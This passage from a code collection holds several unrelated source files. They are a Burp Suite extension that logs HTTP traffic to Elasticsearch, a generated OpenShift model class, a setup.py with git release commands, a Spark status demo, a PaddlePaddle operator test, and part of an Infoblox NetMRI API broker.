int(self.callbacks.loadExtensionSetting("elasticburp.tools") or Burp_Tools) saved_onlyresp = self.callbacks.loadExtensionSetting("elasticburp.onlyresp") if saved_onlyresp == "True": self.confBurpOnlyResp = True elif saved_onlyresp == "False": self.confBurpOnlyResp = False else: self.confBurpOnlyResp = bool(int(saved_onlyresp or Burp_onlyResponses)) self.callbacks.addSuiteTab(self) self.applyConfig() def applyConfig(self): try: print("Connecting to '%s', index '%s'" % (self.confESHost, self.confESIndex)) self.es = connections.create_connection(hosts=[self.confESHost]) self.idx = Index(self.confESIndex) self.idx.doc_type(DocHTTPRequestResponse) if self.idx.exists(): self.idx.open() else: self.idx.create() self.callbacks.saveExtensionSetting("elasticburp.host", self.confESHost) self.callbacks.saveExtensionSetting("elasticburp.index", self.confESIndex) self.callbacks.saveExtensionSetting("elasticburp.tools", str(self.confBurpTools)) self.callbacks.saveExtensionSetting("elasticburp.onlyresp", str(int(self.confBurpOnlyResp))) except Exception as e: JOptionPane.showMessageDialog(self.panel, "<html><p style='width: 300px'>Error while initializing ElasticSearch: %s</p></html>" % (str(e)), "Error", JOptionPane.ERROR_MESSAGE) ### ITab ### def getTabCaption(self): return "ElasticBurp" def applyConfigUI(self, event): #self.idx.close() self.confESHost = self.uiESHost.getText() self.confESIndex = self.uiESIndex.getText() self.confBurpTools = int((self.uiCBSuite.isSelected() and IBurpExtenderCallbacks.TOOL_SUITE) | (self.uiCBTarget.isSelected() and IBurpExtenderCallbacks.TOOL_TARGET) | (self.uiCBProxy.isSelected() and IBurpExtenderCallbacks.TOOL_PROXY) | (self.uiCBSpider.isSelected() and IBurpExtenderCallbacks.TOOL_SPIDER) | (self.uiCBScanner.isSelected() and IBurpExtenderCallbacks.TOOL_SCANNER) | (self.uiCBIntruder.isSelected() and IBurpExtenderCallbacks.TOOL_INTRUDER) | (self.uiCBRepeater.isSelected() and IBurpExtenderCallbacks.TOOL_REPEATER) | (self.uiCBSequencer.isSelected() and IBurpExtenderCallbacks.TOOL_SEQUENCER) | (self.uiCBExtender.isSelected() and IBurpExtenderCallbacks.TOOL_EXTENDER)) self.confBurpOnlyResp = self.uiCBOptRespOnly.isSelected() self.applyConfig() def resetConfigUI(self, event): self.uiESHost.setText(self.confESHost) self.uiESIndex.setText(self.confESIndex) self.uiCBSuite.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_SUITE)) self.uiCBTarget.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_TARGET)) self.uiCBProxy.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_PROXY)) self.uiCBSpider.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_SPIDER)) self.uiCBScanner.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_SCANNER)) self.uiCBIntruder.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_INTRUDER)) self.uiCBRepeater.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_REPEATER)) self.uiCBSequencer.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_SEQUENCER)) self.uiCBExtender.setSelected(bool(self.confBurpTools & IBurpExtenderCallbacks.TOOL_EXTENDER)) self.uiCBOptRespOnly.setSelected(self.confBurpOnlyResp) def getUiComponent(self): self.panel = JPanel() self.panel.setLayout(BoxLayout(self.panel, BoxLayout.PAGE_AXIS)) self.uiESHostLine = JPanel() self.uiESHostLine.setLayout(BoxLayout(self.uiESHostLine, BoxLayout.LINE_AXIS)) self.uiESHostLine.setAlignmentX(JPanel.LEFT_ALIGNMENT) self.uiESHostLine.add(JLabel("ElasticSearch Host: ")) self.uiESHost = JTextField(40) self.uiESHost.setMaximumSize(self.uiESHost.getPreferredSize()) self.uiESHostLine.add(self.uiESHost) self.panel.add(self.uiESHostLine) self.uiESIndexLine = JPanel() self.uiESIndexLine.setLayout(BoxLayout(self.uiESIndexLine, BoxLayout.LINE_AXIS)) self.uiESIndexLine.setAlignmentX(JPanel.LEFT_ALIGNMENT) self.uiESIndexLine.add(JLabel("ElasticSearch Index: ")) self.uiESIndex = JTextField(40) self.uiESIndex.setMaximumSize(self.uiESIndex.getPreferredSize()) self.uiESIndexLine.add(self.uiESIndex) self.panel.add(self.uiESIndexLine) uiToolsLine = JPanel() uiToolsLine.setLayout(BoxLayout(uiToolsLine, BoxLayout.LINE_AXIS)) uiToolsLine.setAlignmentX(JPanel.LEFT_ALIGNMENT) self.uiCBSuite = JCheckBox("Suite") uiToolsLine.add(self.uiCBSuite) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBTarget = JCheckBox("Target") uiToolsLine.add(self.uiCBTarget) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBProxy = JCheckBox("Proxy") uiToolsLine.add(self.uiCBProxy) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBSpider = JCheckBox("Spider") uiToolsLine.add(self.uiCBSpider) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBScanner = JCheckBox("Scanner") uiToolsLine.add(self.uiCBScanner) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBIntruder = JCheckBox("Intruder") uiToolsLine.add(self.uiCBIntruder) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBRepeater = JCheckBox("Repeater") uiToolsLine.add(self.uiCBRepeater) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBSequencer = JCheckBox("Sequencer") uiToolsLine.add(self.uiCBSequencer) uiToolsLine.add(Box.createRigidArea(Dimension(10, 0))) self.uiCBExtender = JCheckBox("Extender") uiToolsLine.add(self.uiCBExtender) self.panel.add(uiToolsLine) self.panel.add(Box.createRigidArea(Dimension(0, 10))) uiOptionsLine = JPanel() uiOptionsLine.setLayout(BoxLayout(uiOptionsLine, BoxLayout.LINE_AXIS)) uiOptionsLine.setAlignmentX(JPanel.LEFT_ALIGNMENT) self.uiCBOptRespOnly = JCheckBox("Process only responses (include requests)") uiOptionsLine.add(self.uiCBOptRespOnly) self.panel.add(uiOptionsLine) self.panel.add(Box.createRigidArea(Dimension(0, 10))) uiButtonsLine = JPanel() uiButtonsLine.setLayout(BoxLayout(uiButtonsLine, BoxLayout.LINE_AXIS)) uiButtonsLine.setAlignmentX(JPanel.LEFT_ALIGNMENT) uiButtonsLine.add(JButton("Apply", actionPerformed=self.applyConfigUI)) uiButtonsLine.add(JButton("Reset", actionPerformed=self.resetConfigUI)) self.panel.add(uiButtonsLine) self.resetConfigUI(None) return self.panel ### IHttpListener ### def processHttpMessage(self, tool, isRequest, msg): if not tool & self.confBurpTools or isRequest and self.confBurpOnlyResp: return doc = self.genESDoc(msg) doc.save() ### IContextMenuFactory ### def createMenuItems(self, invocation): menuItems = list() selectedMsgs = invocation.getSelectedMessages() if selectedMsgs != None and len(selectedMsgs) >= 1: menuItems.append(JMenuItem("Add to ElasticSearch Index", actionPerformed=self.genAddToES(selectedMsgs, invocation.getInputEvent().getComponent()))) return menuItems def genAddToES(self, msgs, component): def menuAddToES(e): progress = ProgressMonitor(component, "Feeding ElasticSearch", "", 0, len(msgs)) i = 0 docs = list() for msg in msgs: if not Burp_onlyResponses or msg.getResponse(): docs.append(self.genESDoc(msg, timeStampFromResponse=True).to_dict(True)) i += 1 progress.setProgress(i) success, failed = bulk(self.es, docs, True, raise_on_error=False) progress.close() JOptionPane.showMessageDialog(self.panel, "<html><p style='width: 300px'>Successful imported %d messages, %d messages failed.</p></html>" % (success, failed), "Finished", JOptionPane.INFORMATION_MESSAGE) return menuAddToES ### Interface to ElasticSearch ### def genESDoc(self, msg, timeStampFromResponse=False): httpService = msg.getHttpService() doc = DocHTTPRequestResponse(protocol=httpService.getProtocol(), host=httpService.getHost(), port=httpService.getPort()) doc.meta.index = self.confESIndex request = msg.getRequest() response = msg.getResponse() if request: iRequest = self.helpers.analyzeRequest(msg) doc.request.method = iRequest.getMethod() doc.request.url = iRequest.getUrl().toString() headers = iRequest.getHeaders() for header in headers: try: doc.add_request_header(header) except: doc.request.requestline = header parameters = iRequest.getParameters() for parameter in parameters: ptype = parameter.getType() if ptype == IParameter.PARAM_URL: typename = "url" elif ptype == IParameter.PARAM_BODY: typename = "body" elif ptype == IParameter.PARAM_COOKIE: typename = "cookie" elif ptype == IParameter.PARAM_XML: typename = "xml" elif ptype == IParameter.PARAM_XML_ATTR: typename = "xmlattr" elif ptype == IParameter.PARAM_MULTIPART_ATTR: typename = "multipartattr" elif ptype == IParameter.PARAM_JSON: typename = "json" else: typename = "unknown" name = parameter.getName() value = parameter.getValue() doc.add_request_parameter(typename, name, value) ctype = iRequest.getContentType() if ctype == IRequestInfo.CONTENT_TYPE_NONE: doc.request.content_type = "none" elif ctype == IRequestInfo.CONTENT_TYPE_URL_ENCODED: doc.request.content_type = "urlencoded" elif ctype == IRequestInfo.CONTENT_TYPE_MULTIPART: doc.request.content_type = "multipart" elif ctype == IRequestInfo.CONTENT_TYPE_XML: doc.request.content_type = "xml" elif ctype == IRequestInfo.CONTENT_TYPE_JSON: doc.request.content_type = "json" elif ctype == IRequestInfo.CONTENT_TYPE_AMF: doc.request.content_type = "amf" else: doc.request.content_type = "unknown" bodyOffset = iRequest.getBodyOffset() doc.request.body = request[bodyOffset:].tostring().decode("ascii", "replace") if response: iResponse = self.helpers.analyzeResponse(response) doc.response.status = iResponse.getStatusCode() doc.response.content_type = iResponse.getStatedMimeType() doc.response.inferred_content_type = iResponse.getInferredMimeType() headers = iResponse.getHeaders() dateHeader = None for header in headers: try: doc.add_response_header(header) match = reDateHeader.match(header) if match: dateHeader = match.group(1) except: doc.response.responseline = header cookies = iResponse.getCookies() for cookie in cookies: expCookie = cookie.getExpiration() expiration = None if expCookie: try: expiration = str(datetime.fromtimestamp(expCookie.time / 1000)) except: pass doc.add_response_cookie(cookie.getName(), cookie.getValue(), cookie.getDomain(), cookie.getPath(), expiration) bodyOffset = iResponse.getBodyOffset() doc.response.body = response[bodyOffset:].tostring().decode("ascii", "replace") if timeStampFromResponse: if dateHeader: try: doc.timestamp = datetime.fromtimestamp(mktime_tz(parsedate_tz(dateHeader)), tz) # try to use date from response header "Date" self.lastTimestamp = doc.timestamp except: doc.timestamp = self.lastTimestamp # fallback: last stored timestamp. Else: now return doc
gpl-3.0
detiber/lib_openshift
lib_openshift/models/v1beta1_cpu_target_utilization.py
2
3733
# coding: utf-8 """ OpenAPI spec version: Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from pprint import pformat from six import iteritems import re class V1beta1CPUTargetUtilization(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ operations = [ ] # The key is attribute name # and the value is attribute type. swagger_types = { 'target_percentage': 'int' } # The key is attribute name # and the value is json key in definition. attribute_map = { 'target_percentage': 'targetPercentage' } def __init__(self, target_percentage=None): """ V1beta1CPUTargetUtilization - a model defined in Swagger """ self._target_percentage = target_percentage @property def target_percentage(self): """ Gets the target_percentage of this V1beta1CPUTargetUtilization. fraction of the requested CPU that should be utilized/used, e.g. 70 means that 70% of the requested CPU should be in use. :return: The target_percentage of this V1beta1CPUTargetUtilization. :rtype: int """ return self._target_percentage @target_percentage.setter def target_percentage(self, target_percentage): """ Sets the target_percentage of this V1beta1CPUTargetUtilization. fraction of the requested CPU that should be utilized/used, e.g. 70 means that 70% of the requested CPU should be in use. :param target_percentage: The target_percentage of this V1beta1CPUTargetUtilization. :type: int """ self._target_percentage = target_percentage def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(V1beta1CPUTargetUtilization.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other
apache-2.0
rishubhjain/monitoring-integration
setup.py
1
3872
import re from setuptools import Command from setuptools import find_packages from setuptools import setup import subprocess try: # Python 2 backwards compat from __builtin__ import raw_input as input except ImportError: pass def read_module_contents(): with open('version.py') as app_init: return app_init.read() def read_spec_contents(): with open('monitoring-integration.spec') as spec: return spec.read() module_file = read_module_contents() metadata = dict(re.findall("__([a-z]+)__\s*=\s*'([^']+)'", module_file)) version = metadata['version'] class BumpVersionCommand(Command): """Bump the __version__ number and commit all changes.""" user_options = [('version=', 'v', 'version number to use')] def initialize_options(self): new_version = metadata['version'].split('.') new_version[-1] = str(int(new_version[-1]) + 1) # Bump the final part self.version = ".".join(new_version) def finalize_options(self): pass def run(self): print('old version: %s new version: %s' % (metadata['version'], self.version)) try: input('Press enter to confirm, or ctrl-c to exit >') except KeyboardInterrupt: raise SystemExit("\nNot proceeding") old = "__version__ = '%s'" % metadata['version'] new = "__version__ = '%s'" % self.version module_content = read_module_contents() with open('version.py', 'w') as fileh: fileh.write(module_content.replace(old, new)) old = 'Version: %s' % metadata['version'] new = 'Version: %s' % self.version spec_file = read_spec_contents() with open('monitoring-integration.spec', 'w') as fileh: fileh.write(spec_file.replace(old, new)) # Commit everything with a standard commit message cmd = ['git', 'commit', '-a', '-m', 'version %s' % self.version] print(' '.join(cmd)) subprocess.check_call(cmd) class ReleaseCommand(Command): """Tag and push a new release.""" user_options = [('sign', 's', 'GPG-sign the Git tag and release files')] def initialize_options(self): self.sign = False def finalize_options(self): pass def run(self): # Create Git tag tag_name = 'v%s' % version cmd = ['git', 'tag', '-a', tag_name, '-m', 'version %s' % version] if self.sign: cmd.append('-s') print(' '.join(cmd)) subprocess.check_call(cmd) # Push Git tag to origin remote cmd = ['git', 'push', 'origin', tag_name] print(' '.join(cmd)) subprocess.check_call(cmd) # Push package to pypi # cmd = ['python', 'setup.py', 'sdist', 'upload'] # if self.sign: # cmd.append('--sign') # print(' '.join(cmd)) # subprocess.check_call(cmd) setup( name="tendrl-monitoring-integration", version=version, author="Rishubh Jain", author_email="[email protected]", description=("Integration of tendrl with grafana and" " creating default dashboard in grafana"), license="LGPL-2.1+", keywords="", packages=find_packages(exclude=["*.tests", "*.tests.*", "tests.*", "tests"]), entry_points={ 'console_scripts': [ 'tendrl-monitoring-integration = tendrl.monitoring_integration.manager:main', ], }, url="http://www.redhat.com", namespace_packages=['tendrl'], long_description="", classifiers=[ "Development Status :: 4 - Beta" ], zip_safe=False, install_requires=[ "ruamel.yaml", "maps", "requests", "urllib3" ], include_package_data=True, cmdclass={'bumpversion': BumpVersionCommand, 'release': ReleaseCommand} )
lgpl-2.1
wangyum/spark
examples/src/main/python/status_api_demo.py
26
2158
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import time import threading import queue as Queue from pyspark import SparkConf, SparkContext def delayed(seconds): def f(x): time.sleep(seconds) return x return f def call_in_background(f, *args): result = Queue.Queue(1) t = threading.Thread(target=lambda: result.put(f(*args))) t.daemon = True t.start() return result def main(): conf = SparkConf().set("spark.ui.showConsoleProgress", "false") sc = SparkContext(appName="PythonStatusAPIDemo", conf=conf) def run(): rdd = sc.parallelize(range(10), 10).map(delayed(2)) reduced = rdd.map(lambda x: (x, 1)).reduceByKey(lambda x, y: x + y) return reduced.map(delayed(2)).collect() result = call_in_background(run) status = sc.statusTracker() while result.empty(): ids = status.getJobIdsForGroup() for id in ids: job = status.getJobInfo(id) print("Job", id, "status: ", job.status) for sid in job.stageIds: info = status.getStageInfo(sid) if info: print("Stage %d: %d tasks total (%d active, %d complete)" % (sid, info.numTasks, info.numActiveTasks, info.numCompletedTasks)) time.sleep(1) print("Job results are:", result.get()) sc.stop() if __name__ == "__main__": main()
apache-2.0
PaddlePaddle/Paddle
python/paddle/fluid/tests/unittests/xpu/test_affine_channel_op_xpu.py
2
4559
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Unit testing for affine_channel_op """ from __future__ import print_function import sys sys.path.append("..") import unittest import numpy as np from op_test_xpu import XPUOpTest import paddle import paddle.fluid.core as core import paddle.fluid as fluid def affine_channel(x, scale, bias, layout): C = x.shape[1] if layout == 'NCHW' else x.shape[-1] if len(x.shape) == 4: new_shape = (1, C, 1, 1) if layout == 'NCHW' else (1, 1, 1, C) else: new_shape = (1, C) scale = scale.reshape(new_shape) bias = bias.reshape(new_shape) return x * scale + bias class TestAffineChannelOp(XPUOpTest): def setUp(self): self.op_type = "affine_channel" self.init_test_case() x = np.random.random(self.shape).astype("float32") scale = np.random.random(self.C).astype("float32") bias = np.random.random(self.C).astype("float32") y = affine_channel(x, scale, bias, self.layout) self.inputs = {'X': x, 'Scale': scale, 'Bias': bias} self.attrs = {'data_layout': self.layout} self.outputs = {'Out': y} def test_check_output(self): if core.is_compiled_with_xpu(): paddle.enable_static() place = paddle.XPUPlace(0) self.check_output_with_place(place) def test_check_grad(self): if core.is_compiled_with_xpu(): paddle.enable_static() place = paddle.XPUPlace(0) self.check_grad_with_place(place, ['X', 'Scale', 'Bias'], 'Out') def test_check_grad_stopgrad_dx(self): if core.is_compiled_with_xpu(): paddle.enable_static() place = paddle.XPUPlace(0) self.check_grad_with_place( place, ['Scale', 'Bias'], 'Out', no_grad_set=set('X')) def test_check_grad_stopgrad_dscale_dbias(self): if core.is_compiled_with_xpu(): paddle.enable_static() place = paddle.XPUPlace(0) self.check_grad_with_place( place, ['X'], 'Out', no_grad_set=set(['Scale', 'Bias'])) def init_test_case(self): self.shape = [2, 100, 3, 3] self.C = 100 self.layout = 'NCHW' class TestAffineChannelOpError(unittest.TestCase): def test_errors(self): with fluid.program_guard(fluid.Program()): def test_x_type(): input_data = np.random.random(2, 1, 2, 2).astype("float32") fluid.layers.affine_channel(input_data) self.assertRaises(TypeError, test_x_type) def test_x_dtype(): x2 = fluid.layers.data( name='x2', shape=[None, 1, 2, 2], dtype='int32') fluid.layers.affine_channel(x2) self.assertRaises(TypeError, test_x_dtype) def test_scale_type(): x3 = fluid.layers.data( name='x3', shape=[None, 1, 2, 2], dtype='float32') fluid.layers.affine_channel(x3, scale=1) self.assertRaises(TypeError, test_scale_type) def test_bias_type(): x4 = fluid.layers.data( name='x4', shape=[None, 1, 2, 2], dtype='float32') fluid.layers.affine_channel(x4, bias=1) self.assertRaises(TypeError, test_bias_type) class TestAffineChannelNHWC(TestAffineChannelOp): def init_test_case(self): self.shape = [2, 3, 3, 100] self.C = 100 self.layout = 'NHWC' def test_check_grad_stopgrad_dx(self): return def test_check_grad_stopgrad_dscale_dbias(self): return class TestAffineChannel2D(TestAffineChannelOp): def init_test_case(self): self.shape = [2, 100] self.C = 100 self.layout = 'NCHW' def test_check_grad_stopgrad_dx(self): return def test_check_grad_stopgrad_dscale_dbias(self): return if __name__ == '__main__': unittest.main()
apache-2.0
infobloxopen/infoblox-netmri
infoblox_netmri/api/broker/v3_3_0/background_tasks_subtask_broker.py
14
32525
from ..broker import Broker class BackgroundTasksSubtaskBroker(Broker): controller = "background_tasks_subtasks" def show(self, **kwargs): """Shows the details for the specified background tasks subtask. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param id: The internal NetMRI identifier for this subtask. :type id: Integer **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return background_tasks_subtask: The background tasks subtask identified by the specified id. :rtype background_tasks_subtask: BackgroundTasksSubtask """ return self.api_request(self._get_method_fullname("show"), kwargs) def index(self, **kwargs): """Lists the available background tasks subtasks. Any of the inputs listed may be be used to narrow the list; other inputs will be ignored. Of the various ways to query lists, using this method is most efficient. **Inputs** | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param id: The internal NetMRI identifier for this subtask. :type id: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` id :param sort: The data field(s) to use for sorting the output. Default is id. Valid values are id, background_task_id, name, status, detail, created_at, updated_at. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each BackgroundTasksSubtask. Valid values are id, background_task_id, name, status, detail, created_at, updated_at. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return background_tasks_subtasks: An array of the BackgroundTasksSubtask objects that match the specified input criteria. :rtype background_tasks_subtasks: Array of BackgroundTasksSubtask """ return self.api_list_request(self._get_method_fullname("index"), kwargs) def search(self, **kwargs): """Lists the available background tasks subtasks matching the input criteria. This method provides a more flexible search interface than the index method, but searching using this method is more demanding on the system and will not perform to the same level as the index method. The input fields listed below will be used as in the index method, to filter the result, along with the optional query string and XML filter described below. **Inputs** | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param background_task_id: The internal NetMRI identifier for background task this subtask belong to. :type background_task_id: Array of Integer | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param created_at: The date and time the record was initially created in NetMRI. :type created_at: Array of DateTime | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param detail: Detailed description of subtask. :type detail: Array of String | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param id: The internal NetMRI identifier for this subtask. :type id: Array of Integer | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param name: The name of subtask. :type name: Array of String | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param status: The status of subtask. :type status: Array of String | ``api version min:`` 2.6 | ``api version max:`` None | ``required:`` False | ``default:`` None :param updated_at: The date and time the record was last modified in NetMRI. :type updated_at: Array of DateTime | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` id :param sort: The data field(s) to use for sorting the output. Default is id. Valid values are id, background_task_id, name, status, detail, created_at, updated_at. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each BackgroundTasksSubtask. Valid values are id, background_task_id, name, status, detail, created_at, updated_at. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param query: This value will be matched against background tasks subtasks, looking to see if one or more of the listed attributes contain the passed value. You may also surround the value with '/' and '/' to perform a regular expression search rather than a containment operation. Any record that matches will be returned. The attributes searched are: background_task_id, created_at, detail, id, name, status, updated_at. :type query: String | ``api version min:`` 2.3 | ``api version max:`` None | ``required:`` False | ``default:`` None :param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering. :type xml_filter: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return background_tasks_subtasks: An array of the BackgroundTasksSubtask objects that match the specified input criteria. :rtype background_tasks_subtasks: Array of BackgroundTasksSubtask """ return self.api_list_request(self._get_method_fullname("search"), kwargs) def find(self, **kwargs): """Lists the available background tasks subtasks matching the input specification. This provides the most flexible search specification of all the query mechanisms, enabling searching using comparison operations other than equality. However, it is more complex to use and will not perform as efficiently as the index or search methods. In the input descriptions below, 'field names' refers to the following fields: background_task_id, created_at, detail, id, name, status, updated_at. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_background_task_id: The operator to apply to the field background_task_id. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. background_task_id: The internal NetMRI identifier for background task this subtask belong to. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_background_task_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_background_task_id: If op_background_task_id is specified, the field named in this input will be compared to the value in background_task_id using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_background_task_id must be specified if op_background_task_id is specified. :type val_f_background_task_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_background_task_id: If op_background_task_id is specified, this value will be compared to the value in background_task_id using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_background_task_id must be specified if op_background_task_id is specified. :type val_c_background_task_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_created_at: The operator to apply to the field created_at. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. created_at: The date and time the record was initially created in NetMRI. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_created_at: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_created_at: If op_created_at is specified, the field named in this input will be compared to the value in created_at using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_created_at must be specified if op_created_at is specified. :type val_f_created_at: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_created_at: If op_created_at is specified, this value will be compared to the value in created_at using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_created_at must be specified if op_created_at is specified. :type val_c_created_at: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_detail: The operator to apply to the field detail. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. detail: Detailed description of subtask. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_detail: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_detail: If op_detail is specified, the field named in this input will be compared to the value in detail using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_detail must be specified if op_detail is specified. :type val_f_detail: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_detail: If op_detail is specified, this value will be compared to the value in detail using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_detail must be specified if op_detail is specified. :type val_c_detail: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_id: The operator to apply to the field id. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. id: The internal NetMRI identifier for this subtask. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_id: If op_id is specified, the field named in this input will be compared to the value in 